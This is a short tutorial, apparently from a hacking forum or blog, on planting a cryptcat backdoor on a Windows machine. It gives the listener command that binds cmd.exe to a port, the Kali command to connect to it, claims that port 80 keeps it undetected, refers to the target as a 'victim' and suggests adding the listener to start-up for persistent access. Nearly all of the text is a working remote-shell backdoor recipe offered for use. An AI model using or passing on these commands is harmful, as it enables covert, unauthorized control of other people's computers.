1. Download cryptcat for windows. Link: Download
2. Open listener on windows: "cryptcat -l -p PORT -e cmd.exe"
-l means "open a listener" -p means "port" -e means "execute a command"
3. Open Backtrack or Kali Linux. This is a penetration testing linux dist.
Get kali here: http://www.kali.org/ Get started with Metasploit (Windows Exploits etc.): Click Here
4. On Backtrack/Kali open terminal and type: cryptcat IP-ADDRESS PORT eg. 192.168.1.145 80
Yes, you can run cryptcat thru port 80 and it remains undetected.
Enjoy! If you did everything correctly you got a backdoor!
I will not help you to get the cryptcat to victims machine.
Note: If you add this to start-up you can get access to the machine even after it restarts.
